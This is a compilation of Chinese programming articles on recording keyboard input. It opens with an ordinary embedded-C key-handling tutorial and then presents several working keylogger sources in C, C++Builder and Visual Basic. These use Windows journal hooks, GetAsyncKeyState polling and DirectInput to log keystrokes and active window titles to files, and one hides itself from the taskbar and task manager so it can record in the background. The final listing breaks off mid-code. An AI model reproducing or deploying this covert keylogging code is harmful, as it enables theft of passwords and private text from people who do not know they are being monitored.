C语言记录键盘

合集下载

C语言嵌入式系统编程修炼之键盘操作

C语言嵌入式系统编程修炼之键盘操作

C语言嵌入式系统编程修炼之键盘操作一、处理功能键功能键的问题在于,用户界面并非固定的,用户功能键的选择将使屏幕画面处于不同的显示状态下。

例如,主画面如图1:图1 主画面当用户在设置XX上按下Enter键之后,画面就切换到了 ...在窗口的消息处理函数中调用相应元素按键函数的过程类似于“消息映射”,这是我们从WIN32编程中学习到的。

编程到了一个境界,很多东西都是相通的了。

其它地方的思想可以拿过来为我所用,是为编程中的“拿来主义”。

在这个例子中,如果我们还想玩得更大一点,我们可以借鉴MFC中处理MESSAGE_MAP的方法,我们也可以学习MFC定义几个精妙的宏来实现"消息映射"。

二、处理数字键用户输入数字时是一位一位输入的,每一位的输入都对应着屏幕上的一个显示位置(x坐标,y坐标)。

此外,程序还需要记录该位置输入的值,所以有效组织用户数字输入的最佳方式是定义一个结构体,将坐标和数值捆绑在一起:/* 用户数字输入结构体*/typedef struct tagInputNum{BYTE byNum; /* 接收用户输入赋值*/BYTE xPos; /* 数字输入在屏幕上的显示位置x坐标*/BYTE yPos; /* 数字输入在屏幕上的显示位置y坐标*/}InputNum, *LPInputNum;那么接收用户输入就可以定义一个结构体数组,用数组中的各位组成一个完整的数字:InputNum inputElement[NUM_LENGTH]; /* 接收用户数字输入的数组*//* 数字按键处理函数*/extern void onNumKey(BYTE num){if(num==0|| num==1) /* 只接收二进制输入*/{/* 在屏幕上显示用户输入*/DrawText(inputElement[currentElementInputPlace].xPos, inputElement[currentElementInputPlace].yPos, "%1d", num);/* 将输入赋值给数组元素*/inputElement[currentElementInputPlace].byNum = num;/* 焦点及光标右移*/moveToRight();}}将数字每一位输入的坐标和输入值捆绑后,在数字键处理函数中就可以较有结构的组织程序,使程序显得很紧凑。

记录键盘的动作和敲击按键时的时间

记录键盘的动作和敲击按键时的时间

记录键盘的动作和敲击按键时的时间日志钩子代码如下,你慢慢品味吧://-----------.cpp文件//---------------------------------------------------------------------------#include <vcl.h>#include <stdio.h>#pragma hdrstop#include "KeyHookU.h"//---------------------------------------------------------------------------#pragma package(smart_init)#pragma resource "*.dfm"TfrmLogHook *frmLogHook;HOOKPROC JournalLogProc(int iCode,WPARAM wParam,LPARAM lParam);//钩子变量HHOOK g_hLogHook=NULL;//记录上一次得到焦点的窗口句柄HWND g_hLastFocus=NULL;//键盘掩码变量const int KeyPressMask=0x80000000;//保存上一次按键值//char g_PrvChar;//---------------------------------------------------------------------------__fastcall TfrmLogHook::TfrmLogHook(TComponent* Owner): TForm(Owner){}//---------------------------------------------------------------------------void __fastcall TfrmLogHook::btnInstallClick(TObject *Sender){if(g_hLogHook==NULL)//安装日志钩子g_hLogHook=SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)JournalLogProc,HInstance,0); }//---------------------------------------------------------------------------void __fastcall TfrmLogHook::btnUninstallClick(TObject *Sender){if(g_hLogHook!=NULL){UnhookWindowsHookEx(g_hLogHook);g_hLogHook=NULL;}}//--------------------------------------------------------------------------- HOOKPROC JournalLogProc(int iCode,WPARAM wParam,LPARAM lParam){if(iCode<0)return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);if(iCode==HC_ACTION){EVENTMSG* pEvt=(EVENTMSG*)lParam;int i;HWND hFocus;//保存当前活动窗口句柄char szTitle[256];//当前窗口名称char szTime[128];//当前的日期和时间FILE* stream=fopen("h:\\usr\\logfile.txt","a+");if(pEvt->message==WM_KEYDOWN){int vKey=LOBYTE(pEvt->paramL);//取得虚拟键值char ch;char str[10];hFocus=GetActiveWindow();if(g_hLastFocus!=hFocus){GetWindowText(hFocus,szTitle,256);g_hLastFocus=hFocus;strcpy(szTime,DateTimeToStr(Now()).c_str());fprintf(stream,"%c%s%c%c%s",10,szTime,32,32,szTitle);fprintf(stream,"%c%c",32,32);}int iShift=GetKeyState(0x10);int iCapital=GetKeyState(0x14);int iNumLock=GetKeyState(0x90);bool bShift=(iShift&KeyPressMask)==KeyPressMask;bool bCapital=(iCapital&1)==1;bool bNumLock=(iNumLock&1)==1;/*if(vKey==9) //TABfprintf(stream,"%c",'\t');if(vKey==13) //回车键fprintf(stream,"%c",'\n');*/if(vKey>=48 && vKey<=57) //数字键0-9{if(!bShift)fprintf(stream,"%c",vKey);else{switch(vKey){case 49:ch='!';break;case 50:ch='@';break;case 51:ch='#';break;case 52:ch='$';break;case 53:ch='%';break;case 54:ch='^';break;case 55:ch='&';break;case 56:ch='*';break;case 57:ch='(';break;case 48:ch=')';break;}fprintf(stream,"%c",ch);}}if(vKey>=65 && vKey<=90) //A-Z a-z{if(!bCapital){if(bShift)ch=vKey;elsech=vKey+32;}else if(bShift)ch=vKey+32;elsech=vKey;fprintf(stream,"%c",ch);}if(vKey>=96 && vKey<=105) //小键盘0-9{if(bNumLock)fprintf(stream,"%c",vKey-96+48);}if(vKey>=186 && vKey<=222) //其它键{switch(vKey){case 186:if (!bShift) ch=';' ;else ch=':' ;break;case 187:if (!bShift) ch='=' ;else ch='+' ;break;case 188:if (!bShift) ch=',' ;else ch='<' ;break;case 189:if (!bShift) ch='-' ;else ch='_' ;break;case 190:if (!bShift) ch='.' ;else ch='>' ;break;case 191:if (!bShift) ch='/' ;else ch='?' ;break;case 192:if (!bShift) ch='`' ;else ch='~' ;break;case 219:if (!bShift) ch='[';else ch='{' ;break;case 220:if (!bShift) ch='\\' ;else ch='|' ;break;case 221:if (!bShift) ch=']';else ch='}' ;break;case 222:if (!bShift) ch='\'';else ch='\"' ;break;default:ch='n' ;break;}if (ch!='n' ) fprintf(stream,"%c",ch);} //if (vKey>=112 && vKey<=123) // 功能键 [F1]-[F12] {switch(wParam){case 112:fprintf(stream,"%s","[F1]");break;case 113:fprintf(stream,"%s","[F2]");break;case 114:fprintf(stream,"%s","[F3]");break;case 115:fprintf(stream,"%s","[F4]");break;case 116:fprintf(stream,"%s","[F5]");break;case 117:fprintf(stream,"%s","[F6]");break;case 118:fprintf(stream,"%s","[F7]");break;case 119:fprintf(stream,"%s","[F8]");break;case 120:fprintf(stream,"%s","[F9]");break;case 121:fprintf(stream,"%s","[F10]");break;case 122:fprintf(stream,"%s","[F11]");break;case 123:fprintf(stream,"%s","[F12]");break;}}if (vKey>=8 && vKey<=46) //方向键{switch (vKey){case 8:strcpy(str,"[BK]");break;case 9:strcpy(str,"[TAB]");break;case 13:strcpy(str,"[EN]");break;case 27:strcpy(str,"[ESC]");break;case 32:strcpy(str,"[SP]");break;case 33:strcpy(str,"[PU]");break;case 34:strcpy(str,"[PD]");break;case 35:strcpy(str,"[END]");break;case 36:strcpy(str,"[HOME]");break;case 37:strcpy(str,"[LF]");break;case 38:strcpy(str,"[UF]");break;case 39:strcpy(str,"[RF]");break;case 40:strcpy(str,"[DF]");break;case 45:strcpy(str,"[INS]");break;case 46:strcpy(str,"[DEL]");break;default:ch='n';break;}if (ch!='n' ){//if (g_PrvChar!=vKey)//{fprintf(stream,"%s",str);// g_PrvChar=vKey;/。

[转载]手把手教你做键盘记录器

[转载]手把手教你做键盘记录器

[转载]手把手教你做键盘记录器[转载]手把手教你做键盘记录器信息来源:网络安全文章系统前几天写了一篇键盘记录器,好多人反映看不懂,对新人没什么用处,所以且这篇我会写的很详细,再也不像那篇,出了代码什么也没 ^!^这个程序将会详细的讲解如何记载键盘的每一次输入。

下面介绍的这个程序主要是利用GetAsyncKeyState函数,使用GetAsyncKeyState可以获得键盘的动作。

GetAsyncKeyState函数根据虚拟键表判断按键的类型。

返回值为一个16位的二进值数,如果被按下则最高位为1,即返回-32767。

下面是API函数及鼠标中左右键在虚拟键表中的定义:Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer好了,函数就先介绍这么多,下面开始动手实战了first,当然是创建窗口了在时间控件的Timer时间中定义检查按键类型,代码如下:Dim AddKeyKeyResult = GetAsyncKeyState(13) ‘回车键If KeyResult = -32767 ThenAddKey = "[ENTER]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(17) ‘Ctrl键If KeyResult = -32767 ThenAddKey = "[CTRL]"GoTo KeyFoundEnd IfKeyRe sult = GetAsyncKeyState(8) ‘退格键If KeyResult = -32767 ThenAddKey = "[BKSPACE]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(9)If KeyResult = -32767 ThenAddKey = "[TAB]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(18)If KeyResult = -32767 ThenAddKey = "[ALT]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(19)If KeyResult = -32767 ThenAddKey = "[PAUSE]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(20)AddKey = "[CAPS]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(27) If KeyResult = -32767 Then AddKey = "[ESC]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(33) If KeyResult = -32767 Then AddKey = "[PGUP]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(34) If KeyResult = -32767 Then AddKey = "[PGDN]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(35) If KeyResult = -32767 Then AddKey = "[END]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(36)AddKey = "[HOME]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(44) If KeyResult = -32767 Then AddKey = "[SYSRQ]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(45) If KeyResult = -32767 Then AddKey = "[INS]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(46) If KeyResult = -32767 Then AddKey = "[DEL]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(144) If KeyResult = -32767 Then AddKey = "[NUM]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(37)AddKey = "[LEFT]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(38) If KeyResult = -32767 Then AddKey = "[UP]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(39) If KeyResult = -32767 Then AddKey = "[RIGHT]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(40) If KeyResult = -32767 Then AddKey = "[DOWN]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(112) If KeyResult = -32767 Then AddKey = "[F1]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(113) If KeyResult = -32767 Then AddKey = "[F2]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(114) If KeyResult = -32767 Then AddKey = "[F3]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(115) If KeyResult = -32767 Then AddKey = "[F4]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(116) If KeyResult = -32767 Then AddKey = "[F5]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(117) If KeyResult = -32767 Then AddKey = "[F6]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(118) If KeyResult = -32767 Then AddKey = "[F7]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(119) If KeyResult = -32767 Then AddKey = "[F8]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(120) If KeyResult = -32767 Then AddKey = "[F9]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(121) If KeyResult = -32767 Then AddKey = "[F10]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(122) If KeyResult = -32767 Then AddKey = "[F11]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(123) If KeyResult = -32767 Then AddKey = "[F12]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(124) If KeyResult = -32767 Then AddKey = "[F13]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(125) If KeyResult = -32767 Then AddKey = "[F14]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(126) If KeyResult = -32767 Then AddKey = "[F15]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(127) If KeyResult = -32767 Then AddKey = "[F16]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(32) If KeyResult = -32767 Then AddKey = " "GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(186) If KeyResult = -32767 Then AddKey = ";"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(187) If KeyResult = -32767 Then AddKey = "="GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(188) If KeyResult = -32767 Then AddKey = ","GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(189) If KeyResult = -32767 Then AddKey = "-"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(190) If KeyResult = -32767 Then AddKey = "."GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(191) If KeyResult = -32767 Then AddKey = "/" ‘/GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(192) If KeyResult = -32767 Then AddKey = "`" ‘`GoTo KeyFoundEnd If‘----------NUM PADKeyResult = GetAsyncKeyState(96) If KeyResult = -32767 Then AddKey = "0"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(97) If KeyResult = -32767 ThenAddKey = "1"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(98) If KeyResult = -32767 Then AddKey = "2"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(99) If KeyResult = -32767 Then AddKey = "3"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(100) If KeyResult = -32767 Then AddKey = "4"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(101) If KeyResult = -32767 Then AddKey = "5"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(102) If KeyResult = -32767 Then AddKey = "6"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(103) If KeyResult = -32767 Then AddKey = "7"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(104) If KeyResult = -32767 Then AddKey = "8"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(105) If KeyResult = -32767 Then AddKey = "9"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(106) If KeyResult = -32767 Then AddKey = "*"End IfKeyResult = GetAsyncKeyState(107) If KeyResult = -32767 Then AddKey = "+"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(108) If KeyResult = -32767 Then AddKey = "[ENTER]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(109) If KeyResult = -32767 Then AddKey = "-"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(110) If KeyResult = -32767 Then AddKey = "."GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(2) If KeyResult = -32767 Then AddKey = "/"End IfKeyResult = GetAsyncKeyState(220)If KeyResult = -32767 ThenAddKey = "\"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(222)If KeyResult = -32767 ThenAddKey = "‘"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(221)If KeyResult = -32767 ThenAddKey = "]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(219)If KeyResult = -32767 ThenAddKey = "["GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(16) ‘shift键If KeyResult = -32767 And TimeOut = 0 ThenAddKey = "[SHIFT]"LastKey = AddKeyTimeOut = 1GoTo KeyFoundEnd IfKeyLoop = 41Do Until KeyLoop = 256 ‘ 显示其他键KeyResult = GetAsyncKeyState(KeyLoop)If KeyResult = -32767 Then Text1.Text = Text1.Text + Chr(KeyLoop)KeyLoop = KeyLoop + 1LoopLastKey = AddKeyExit SubKeyFound: ‘显示键的信息Text1 = Text1 & AddKeyEnd Sub上面的()里面的数字实际是就是那些键的Ascii码,比如13就代表回车,17代表Ctrl,……由于数目太多,一一列举不方便现提供Ascii表一份供对照下面是其他的事件Private Sub Timer2_Timer()TimeOut = 0End Sub目的是随时刷新清空。

单片机键盘输入编程(c语言)

单片机键盘输入编程(c语言)

学习过单片机技术的人都知道,单片机的按键输入一般可分为简单的独立式按键输入及行列式键盘输入两种。

图1为简单的独立式键盘输入示意图,独立式键盘输入适宜于按键输入不多的情况〔<5个按键〕,具有占用口线较少、软件编写简单容易等特点。

图2为行列式键盘输入示意图,列线接P1.0~P1.3,行线接P1.4~P1.7。

行列式键盘输入适宜于按键输入多的情况,如有16个按键输入,用简单按键输入用要占用2个输入口〔共16位〕,而使用行列式键盘输入只需占用一个输入口〔8位〕。

但行列式键盘输入软件编写较复杂,对初学者而言有一定的难度。

以上略谈了一下按键输入的情况。

在很多状态下,按键输入的值要同时要在LED数码管上显示出来。

如一个按键设计为输入递增〔加法〕键,可以设计成每点按一下,数值递增加1,同时在LED数码管上显示出来;也可设计成持续按下时,数值以一定时间间隔〔如0.3秒〕累加。

但是当欲输入值较大时〔如三位LED数码管作输入显示时的输入值最大为999〕,那么可能按下键的时间太长〔最长达300秒〕,看来这种方式只适用于一位或至多两位数值〔最大99〕的输入。

当然你也可多设几个键,每个键只负责一位数值的输入,但这样会占用较多的口线,浪费珍贵的硬件资源。

大家可能见到过,一些进口的温度控制器〔如日本RKC INSTRUMENT INC. 消费的REX_C700温控器〕的面板设计为:温度测量值用4位LED数码管显示,输入设定值显示也用4位LED数码管,输入按键只有4个,一个为“形式设定键〞,一个为“左移键〞,另两个为“加法键〞、“减法键〞。

欲输入设定值〔温控值〕时,按一下“形式设定键〞,程序进入设定状态,此时输入设定值显示的4位LED数码管中,个位显示最亮〔稳定显示〕,而十、百、千位显示较暗〔有闪烁感〕,说明可对个位进展输入。

按下“加法键〞或“减法键〞,即可输入个位数的值;点按一下“左移键〞,变为十位显示最亮,而个、百、千位显示较暗,说明可对十位进展输入。

C语言编写键盘记录器源代码

C语言编写键盘记录器源代码

//CÓïÑÔ±àд¼üÅ̼ǼÆ÷Ô´´úÂ롾תÔØ¡¿2010Äê06ÔÂ16ÈÕ ÐÇÆÚÈý ÏÂÎç 07:59 #include <windows.h>#include <stdio.h>// Some Global Variables// Lower Case Key & Some Other Keyschar *LowerCase[]={"b","e","[ESC]","[F1]","[F2]","[F3]","[F4]","[F5]","[F6]","[F7]","[F8]","[F9]","[F10]","[F11]","[F12]","`","1","2","3","4","5","6","7","8","9","0","-","=","[TAB]","q","w","e","r","t","y","u","o","p","[","]","a","s","d","f","g","h","j","k","l",";","'","z","x","c","v","b","n","m",",",".","/","\\", "[CTRL]", "[WIN]"," ","[WIN]","[Print Screen]", "[Scroll Lock]", "[Insert]", "[Home]", "[PageUp]", "[Del]", "[End]", "[PageDown]", "[Left]", "[UP]", "[Right]", "[Down]","[Num Lock]","*","-","+","0","1","2","3","4","5","6","7","8","9",".",};// Upper Case Key & Some Other Keys char *UpperCase[]={"b","e","[ESC]","[F1]","[F2]","[F3]","[F4]","[F5]","[F6]","[F7]","[F8]","[F9]","[F10]","[F11]","[F12]","~","!","@","#","$","%","^","&","*","(","_","+","[TAB]","Q","W","E","R","T","Y","U","I","O","P","{","}","A","S","D","F","G","H","J","K","L",":","\"","Z","X","C","V","B","N","M","<",">",".?","|", "[CTRL]", "[WIN]"," ","[WIN]","[Print Screen]", "[Scroll Lock]","[Insert]","[Home]","[PageUp]","[Del]","[End]","[PageDown]","[Left]","[Up]","[Right]","[Down]","[Num Lock]","/","*","-","+","0","1","2","3","4","5","6","7","8","9",".",};// Ascii Keys,Forget About It int SpecialKeys[]={8,13,27,112,113,114,115,116,117,118,119,120,121,122,192, 49, 50, 51, 52, 53, 54, 55, 56, 57, 48, 189, 187, 9, 81, 87, 69, 82, 84, 89, 85, 73, 79, 80, 219, 221, 65, 83, 68, 70, 71, 72, 74, 75, 76, 186, 222, 90, 88, 67, 86, 66, 78,188,190,191,220,17,91,32,92,44,145,45,36,33,46,35,34,37,38,39,40,144,111,106,109,107,96,97,98,99,100,101,102,103,104,105,110,};HWND PreviousFocus=NULL;// End Of Data// Function ProtoType Declaration//----------------------------------------------------------------------BOOL IsWindowsFocusChange();BOOL KeyLogger();//----------------------------------------------------------------------// End Of Fucntion ProtoType Declaration// Main Functionint main(){KeyLogger(); // Run The Keyloggerreturn 0; // The Program Quit}// End Of Main//-------------------------------------------------------------------------// Purpose: To Check The Active Windows Title// Return Type: Boolean// Parameters: NULL//-------------------------------------------------------------------------BOOL IsWindowsFocusChange(){HWND hFocus = GetForegroundWindow(); // Retrieve The Active Windows's FocusBOOL ReturnFlag = FALSE; // Declare The Return Flagif (hFocus != PreviousFocus) // The Active Windows Has Change{PreviousFocus = hFocus; // Save The Old Active Windos Focusint WinLeng = GetWindowTextLength(hFocus); // Get The Active Windows's Caption's Lengthchar *WindowCaption = (char*) malloc(sizeof(char) * (WinLeng + 2)); // Allocate Memory For The CaptionGetWindowText(hFocus,WindowCaption,(WinLeng + 1)); // Retrieve The Active Windows's Captionif (strlen(WindowCaption) > 0) // Really Get The Windows's Caption {printf("\r\nThe Active Windows Title: %s\r\n",WindowCaption); // Display The Active Windows's CaptionReturnFlag=TRUE; // Indicate The Windows's Focus Has Changed}free(WindowCaption); // Free The Allocated Memory}return ReturnFlag; // Return The Flag}// End Of IsWindowsFocusChange Function//-------------------------------------------------------------------------// Purpose: To Manage(Display)The Keys Retrieved From System's Key Buffer// Return Type: Boolean// Parameters: NULL//-------------------------------------------------------------------------BOOL KeyLogger(){int bKstate[256] = {0}; // Declare The Key State Arrayint i,x;char KeyBuffer[600]; // Key Buffer Arrayint state; // Variable To Hode State Of Some Special Key Like CapsLock,Shift And ectint shift; // Variable To Hode State Of Shift Key// Reset The Buffermemset(KeyBuffer,0,sizeof(KeyBuffer));while(TRUE) // Forever Loop Is Taking Place Here{Sleep(8); // Rest For A While,And Avoid Taking 100% CPU Usage.Pretty Important To Add This Line Or The System Gets Fucked UPif (IsWindowsFocusChange()) //Check The Active Windows Title{if (strlen(KeyBuffer) != 0) // Keys Are Pressed{printf("%s\r\n",KeyBuffer); // Display The Keys Pressedmemset(KeyBuffer,0,sizeof(KeyBuffer)); // reset The Buffer}}for(i=0;i<95;i++) // Looping To Check Visual Keys{shift = GetKeyState(VK_SHIFT); // Check Whether Shift Is Pressedx = SpecialKeys[i]; // Match The Keyif (GetAsyncKeyState(x) & 0x8000) // Check Combination Keys{// See Whether CapsLocak Or Shift Is Pressedif (((GetKeyState(VK_CAPITAL) != 0) && (shift > -1) && (x > 64) && (x< 91))) //Caps Lock And Shift Is Not Pressed{bKstate[x] = 1; //Uppercase Characters A-Z}elseif (((GetKeyState(VK_CAPITAL) != 0) && (shift < 0) && (x > 64) && (x < 91))) //Caps Lock And Shift Is Pressed{bKstate[x] = 2; //Lowercase a-z}elseif (shift < 0) // Shift Is Pressed{bKstate[x] = 3; //Uppercase Characters A-Z}elsebKstate[x] = 4; //Lowercase a-z}else{if (bKstate[x] != 0) // No Combination Keys Detected{state = bKstate[x]; // Retrieve The Current StatebKstate[x] = 0; // Reset The Current Stateif (x == 8) // Back Space Is Detected{KeyBuffer[strlen(KeyBuffer) - 1] = 0; // One Key Back Thencontinue; // Start A New Loop}elseif (strlen(KeyBuffer) > 550) // Buffer FULL{printf("%s <Buffer Full>",KeyBuffer); // Display The Keys Retrievedmemset(KeyBuffer,0,sizeof(KeyBuffer)); // Reset The Buffercontinue; // Start A New Loop}elseif (x == 13) // Enter Is Detected{if (strlen(KeyBuffer) == 0) // No Other Keys Retrieved But Enter{continue; // Start A New Loop}printf("%s<Enter>\r\n",KeyBuffer); // Retrieve Other Keys With Entermemset(KeyBuffer,0,sizeof(KeyBuffer)); // Display The Keys With Entercontinue; // Start A New Loop}elseif ((state%2) == 1) //Must Be Upper Case Characters{strcat(KeyBuffer,UpperCase[i]); // Store The Key To Key Buffer}elseif ((state%2) == 0) // Must Be Lower Case Characters{strcat(KeyBuffer,LowerCase[i]); // Store The Key To Key Buffer}}}}// End Of For Loop}// End Of While Loopreturn TRUE; // Return To The Caller}// End Of KeyLogger Function// End Of File。

单片机c语言程序设计---矩阵式键盘实验报告

单片机c语言程序设计---矩阵式键盘实验报告

单片机c语言程序设计---矩阵式键盘实验报告课程名称:单片机c语言设计实验类型:设计型实验实验项目名称:矩阵式键盘实验一、实验目的和要求1.掌握矩阵式键盘结构2.掌握矩阵式键盘工作原理3.掌握矩阵式键盘的两种常用编程方法,即扫描法和反转法二、实验内容和原理实验1.矩阵式键盘实验功能:用数码管显示4*4矩阵式键盘的按键值,当K1按下后,数码管显示数字0,当K2按下后,显示为1,以此类推,当按下K16,显示F。

(1)硬件设计电路原理图如下仿真所需元器件(2)proteus仿真通过Keil编译后,利用protues软件进行仿真。

在protues ISIS 编译环境中绘制仿真电路图,将编译好的“xxx.hex”文件加入AT89C51。

启动仿真,观察仿真结果。

操作方完成矩阵式键盘实验。

具体包括绘制仿真电路图、编写c源程序(反转法和扫描法)、进行仿真并观察仿真结果,需要保存原理图截图,保存c源程序,总结观察的仿真结果。

完成思考题。

三、实验方法与实验步骤1.按照硬件设计在protues上按照所给硬件设计绘制电路图。

2.在keil上进行编译后生成“xxx.hex”文件。

3.编译好的“xxx.hex”文件加入AT89C51。

启动仿真,观察仿真结果。

四、实验结果与分析void Scan_line()//扫描行{Delay(10);//消抖switch ( P1 ){case 0x0e: i=1;break;case 0x0d: i=2;break;case 0x0b: i=3;break;case 0x07: i=4;break;default: i=0;//未按下break;}}void Scan_list()//扫描列{Delay(10);//消抖switch ( P1 ){case 0x70: j=1;break;case 0xb0: j=2;break;case 0xd0: j=3;break;case 0xe0: j=4;break;default: j=0;//未按下break;}}void Show_Key(){if( i != 0 && j != 0 ) P0=table[ ( i - 1 ) * 4 + j - 1 ];else P0=0xff;}五、讨论和心得。

C++中如何实时监控键盘

C++中如何实时监控键盘

如何实时监控键盘的按键在一个控制程序中,如何能够实时监控键盘的热键?如设备正在运行,按下键盘的”ESC”来停止程序的运行?使用消息传递和对键盘消息监视检查即可实现。

下面实例就是通过线程程序运行中监视”ESC”按键和”SPACE”按键AppMessage1(tagMSG &Msg, bool &Handled){if (Msg.message == WM_KEYDOWN){if(Msg.wParam ==VK_SPACE){dw = WaitForSingleObject(g_hMutex, INFINITE);//等待互斥量信号if(dw == WAIT_OBJECT_0){KV ar.b1=true;}ReleaseMutex(g_hMutex);}if(Msg.wParam ==VK_ESCAPE){dw = WaitForSingleObject(g_hMutex, INFINITE);//等待互斥量信号if(dw ==WAIT_OBJECT_0)KV ar.b2=true;ReleaseMutex(g_hMutex);}}}在事例程序中,使用线程监控按键,并置变量struct KuseV ar {bool b1; //记录ESC按键按下bool b2; //记录SPACE按键按下};extern KuseV ar KV ar;示例中,”ESC”按键按下时,AppMessage1函数通过Msg.message 检查到是否有按键按下,如果有则通过Msg.wParam 检查是否有”ESC”按键按下,如有则置struct KuseV ar中的b1为true;如有”SPACE”按键按下,则置struct KuseV ar中的b2为true。

Timer1和timer2分别检查struct KuseV ar中的b1、b2来显示按键按下或是恢复。

图1为源程序设计时的窗体布置,图2为程序运行时的界面。

键盘记录器源码

键盘记录器源码

标准模块:Public Declare Function MapV irtualKey Lib "user32" Alias "MapVirtualKeyA" (ByV al wCode As Long, ByV al wMapType As Long) As LongPublic Declare Function GetKeyState Lib "user32" (ByV al nVirtKey As Long) As IntegerPublic DX As DirectX7Public DI As DirectInputPublic DI_Keyboard As DirectInputDevicePublic key_state As DIKEYBOARDSTA TEPublic DataKeyCacheDX As StringPublic DataKeyCacheChar As String窗体模块:Private Sub Form_Load()Set DX = New DirectX7 '建立DirectX对象Set DI = DX.DirectInputCreate() '建立DirectInput对象Set DI_Keyboard = DI.CreateDevice("GUID_SysKeyboard") '建立DirectInput的键盘对象DI_Keyboard.SetCommonDataFormat DIFORMA T_KEYBOARD '设置数据格式DI_Keyboard.SetCooperativeLevel 0, DISCL_BACKGROUND Or DISCL_NONEXCLUSIVE '设置协作模式(就是DX设备要与某个窗口关联)。

DISCL_BACKGROUND这个是最重要的,它让程序即使在后台运行也能监视键盘输入,不然怎么做HOOK呢^_^DI_Keyboard.Acquire '开始' ------------------------Me.V isible = False '后台记录App.TaskV isible = False '在任务管理器中隐藏Timer1.Interval = 45Timer1.Enabled = True '开始轮询End SubPrivate Sub Form_Unload(Cancel As Integer) '结束程序时如果最后一行数据没保存就将其保存If DataKeyCacheDX <> "" ThenDataKeyCacheDX = DataKeyCacheDX & Now & "|"Open App.Path & "\Char.txt" For Append As #2Write #2, DataKeyCacheDXWrite #2, "-------------------------------------" '将两次记录到的数据隔开Close #2DataKeyCacheDX = ""End IfEnd SubPrivate Sub Label2_Click()Me.V isible = False '后台记录App.TaskV isible = False '在任务管理器中隐藏End SubPrivate Sub Timer1_Timer()' DX键盘记录On Error Resume NextStatic keyArray(255) As ByteDim key_count As Integer, vKeycode As Integer, vKeyASC As String, keysz As IntegerDI_Keyboard.GetDeviceStateKeyboard key_state '轮询键盘,并把键盘输入保存到key_state 结构中For key_count = 0 To 255If keyArray(key_count) <> key_state.Key(key_count) Then '判断是否有键被按下或弹起,key_count代表的是被按下的键的扫描码vKeycode = MapVirtualKey(key_count, 1) '扫描码转虚拟码If vKeycode = 123 Then '按F12显示窗口Me.V isible = TrueApp.TaskV isible = TrueEnd Ifkeysz = SmallKeyboard(vKeycode) '将小键盘的虚拟码转换成数字If keysz <> -1 ThenvKeyASC = keyszElsevKeyASC = Chr(MapVirtualKey(vKeycode, 2)) '虚拟码转换为ASCII字符If vKeyASC <> Chr(0) ThenIf GetKeyState(VK_CAPITAL) Mod &HFF80 = 1 ThenvKeyASC = UCase(vKeyASC) '根据大小写锁定键判断大小写ElsevKeyASC = LCase(vKeyASC)End IfIf vKeyASC = " " Then vKeyASC = "【空格】"ElsevKeyASC = "【" & CStr(vKeycode) & "】" '如果是不能显示的键,则直接显示虚拟码End IfEnd IfIf key_state.Key(key_count) = 128 Then 